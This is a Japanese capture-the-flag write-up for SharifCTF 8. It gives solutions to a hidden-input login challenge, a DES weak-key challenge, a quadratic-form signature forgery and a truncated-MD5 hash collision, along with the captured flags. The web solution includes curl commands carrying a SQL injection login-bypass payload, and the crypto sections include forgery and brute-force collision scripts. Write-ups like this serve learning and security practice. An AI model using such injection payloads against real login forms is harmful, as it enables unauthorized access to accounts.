SharifCTF 8 Writeup

この大会は2018/2/2 15:30(JST)~2018/2/4 3:30(JST)に開催されました。
今回もチームで参戦。結果は900点で682チーム中49位でした。
自分で解けた問題をWriteupとして書いておきます。

Hidden input (Web 50)

ソースに以下のhidden属性がある。

<input type="hidden" name="debug" id="debug" value="0">

debugの値を1にしてアクセスする。

$ curl -X POST -d "Username=a" -d "Password=b" -d "debug=1" http://ctf.sharif.edu:8081/login.php
<pre>username: a
password: b
SQL query: SELECT * FROM users WHERE username=('a') AND password=('b')
</pre><h1>Login failed.</h1>

括弧をつけてSQLインジェクションを行う。

$ curl -X POST -d "Username=a') or 1=1 #" -d "Password=b" -d "debug=1" http://ctf.sharif.edu:8081/login.php
<pre>username: a') or 1=1 #
password: b
SQL query: SELECT * FROM users WHERE username=('a') or 1=1 #') AND password=('b')
</pre><h1>Logged in!</h1><p>Your flag is: SharifCTF{c58a108967c46222bbdc743e15932c26}</p>
SharifCTF{c58a108967c46222bbdc743e15932c26}

DES (Crypto 50)

平文とあるキーによるDES暗号の暗号化のペアがたくさんある。キーを探り当てる必要があるが、DESのキーで脆弱性のあるものの情報を探す。
https://en.wikipedia.org/wiki/Weak_key#Weak_keys_in_DES を参考に暗号化を試す。
e0e0e0e0f1f1f1f1 で平文と暗号の組み合わせが合う。

SharifCTF{e0e0e0e0f1f1f1f1}

OSS Signature - Easy (Crypto 100)

ほぼ数学の問題。以下を満たすものがある。

m1 = x1**2 + k * y1**2
m2 = x2**2 + k * y2**2

これで以下ようになるx3とy3を求める。

m1*m2 = x3**2 + k * y3**2

m1*m2を変形しながらこの形式になるよう計算する。

m1*m2 = (x1*x2)**2 + k*(x1*y2)**2 + k*(x2*y1)**2 + k*k*(y1*y2)**2
      = (k*y1*y2 - x1*x2)**2 + k * (2*x1*x2*y1*y2 + (x1*y2)**2 + (x2*y1)**2)
      = (k*y1*y2 - x1*x2)**2 + k * (x1*y2 + x2*y1)**2

この結果、以下の通りとなる。

x3 = k*y1*y2 - x1*x2
y3 = x1*y2 + x2*y1

実際に計算する。

n = 25002746673023214443255611415004163622813167852050923858455529030203886977840435991633024079845736335150468784530123301961464111492802951263984843039164056430832125163123383805713707250515254073169424707009359341759806003392594138294458167902830484152672696274313541002376076183872266230285338817553110422277895445022423407252341583782719664554600485831653496762352727294140410862007839241034826246409937408317586016100320118339304493568308875379717324497727750190898854014202895798781129867240530387323567711557244359201718574163779140769622702892937997637399632813759046725913242153879394145202439145824342609530733
k = 23362339402422379817772327315061502761593494363846640180372992347552364432329220756030231112957778618810078666762974577247225709089334422591782884749584385632941885055318288495081651413041625183693553233252837243762098828064089396976796784829512691690456121528386778151445275489241471824325584238311939845541912403985291213425145453729490975518843542282785674261698826757381575038415836220944506894913500128933084291790059465445840440895339431303999096861113452752000364738364437105439080665770770436241486563132717407593776498512206813885900089036806429313524876146779148195897063040217695170237733473446418668779916

m1 = 53
x1 = 4996965626677818470899497036192572928953383468049981492215052947486968576469160069531045847406602867300998349717580001316746485225762698993261684213353602996748343182092335509307573088247624968954427896794412611830427704686799860673116498727830792282242951843221232059541413610254765610041160440513577441311377402794483664718403091720812660740195547201741143700725549004496527350569773313437105547331241515716525604301492268657755586190938586265947367522921813698603847151625881131098032431190975920711377012137155839366204869205993663573232084527465728306732531071378794321276304228712618173043121942149396615492478
y1 = 9339264669983291900327820828270098016379861097267077744514708712834641173057650202534710250765922313741944462789942785478170212231431727070626211785081581216011869498431598197306917945956602966039228580868647572114697339953682091890878192717124657001319847969571764996539075871196135114129827099959218903704028739118783540539731484487013859564619154565781303034838767726419327010072827695144834838584650689215227715966068273968350448794571951839296494120274908108873597642627135960002648616376004036368059928510282972523844522428329769439534207771320850592847756802766651250916352633401119949553102145237888877557923

m2 = 97
x2 = 11753106345254288737361588513147237177750400928549963607707054166942720184532870164663313254526876864287114091403255773460126703446364096215167350117522512230363460796882926739640334786094541017927436061884032962475855870728763342865282312282570446248990619133180907228013976489639609306879272823217110322646001510606842229170558446836122206078351382968253970864143597110461965175850834817665875538033799957519184628621445302484228100263431427032089411665137733848416897797243448068873485701775788341820346935946117424174847849626391662223056950725043721907635990009814375453736359471825015817067334839806235435545448
y2 = 123161662006626173257658155440995758077644133106347955053437070384032327643606006182254293736352951669348486229126066051376766187014326742185279158572916190461546072737951070108429999738567695487322683707128747508390535278084645507888594491053352777437956961443390580531224529649715922983302553733302183680229442684930688384434263064437787360809879785644243721569717854769078822729636598856450665397631653853730111259561536552440955558062554764155674810156999963831490288009516842695456063350428308329590519170386751067328029955975084626546467505376469180883230078097302660456279461037373526104913049876100168770958

x3 = (k*y1*y2 - x1*x2) % n
y3 = (x1*y2 + x2*y1) % n

print 'x3 =', x3
print 'y3 =', y3

この結果、以下の通りとなる。

x3 = 5830142767269869677288408048540188008823990407143812016855824705950670094076130295628679427308366877724203450528505429923779301824931078622823699278049797459103976077656253481286887552821019276867178788422219539329583159422137716528100570338486898980373587303085748319844052353230249042625942785900387756894239067102757343433502492365252997459285349339246805166733967650832504849834260251786076960206921262991354352029664760492726369394863653668118951032791286046453289341474808509851463955082181197318288140607769674177976268058836547858657166510273792385879245129488393769010333021676981334496155977249194077033884
y3 = 5395898905123648503834111671297796783290397561274630899481015182458778781607901118589561849162438641620093844778942756497555892488487851581944403489428310876143669684360917304957290153707395347323720107220789281916218015743755093672007247609226854626394280860266858900528262798090243514810319854184687628597363829703844467425743837279434415596195930994186542872505553058421449234140281457012201166739191548987512108956661156070494288517214599188894883583204460642246821038631481163915837077751361281096675786973519454859604240317794260193361416581583032004137958137882176217763274442687529500870912682381607026694645

このx3, y3を入力すると、フラグが表示された。

SharifCTF{aea9d91c12817a8f5a19b37ee9e1b1d6}

fHash (Crypto 200)

M1の場合、以下のようにして計算される。

hl = md5('7575'+'7368').hexdigest()[:4]
hr = md5('A8A8'+'7368').hexdigest()[:4]
hl = md5(hl+'6172').hexdigest()[:4]
hr = md5(hr+'6172').hexdigest()[:4]
hl = md5(hl+'6966').hexdigest()[:4]
hr = md5(hr+'6966').hexdigest()[:4]
hl = md5(hl+'6374').hexdigest()[:4]
hr = md5(hr+'6374').hexdigest()[:4]
hl = '260c'
hr = '01da'

hlとhrは独立している。1回目のhl, hrの値がM1の場合と同じであれば、結果は同じになる。hl、hr、M2の最初の2バイトのブルートフォースで条件を満たすものの代表値を探す。

from hashlib import md5

M1 = '7368617269666374'
hl_ans = 'dcd0'
hr_ans = 'a6ea'

def foo(h, m):
    return md5(h.encode('utf-8') + m.encode('utf-8')).hexdigest()[:4]

def get_hr(M2_head, ans):
    for i in range(256):
        for j in range(256):
            hr0 = ('%02x' % i) + ('%02x' % j)
            hr = foo(hr0, M2_head)
            if hr == hr_ans:
                return hr0

    return ''

found = False
for i in range(256):
    for j in range(256):
        hl0 = ('%02x' % i) + ('%02x' % j)
        for k in range(256):
            for l in range(256):
                M2_head = ('%02x' % k) + ('%02x' % l)
                hl = foo(hl0, M2_head)
                if hl == hl_ans:
                    hr0 = get_hr(M2_head, hr_ans)
                    if hr0 != '':
                        found = True
                        print hl0
                        print hr0
                        print M2_head + M1[4:]
                        break
            if found:
                break
        if found:
            break
    if found:
        break

実行結果は以下の通り。

0002
0534
8179617269666374

上から順にhl, hr, M2。この値を入力すると、フラグが表示された。

SharifCTF{561a6a6e11ad3a61d83c29a49146d62b}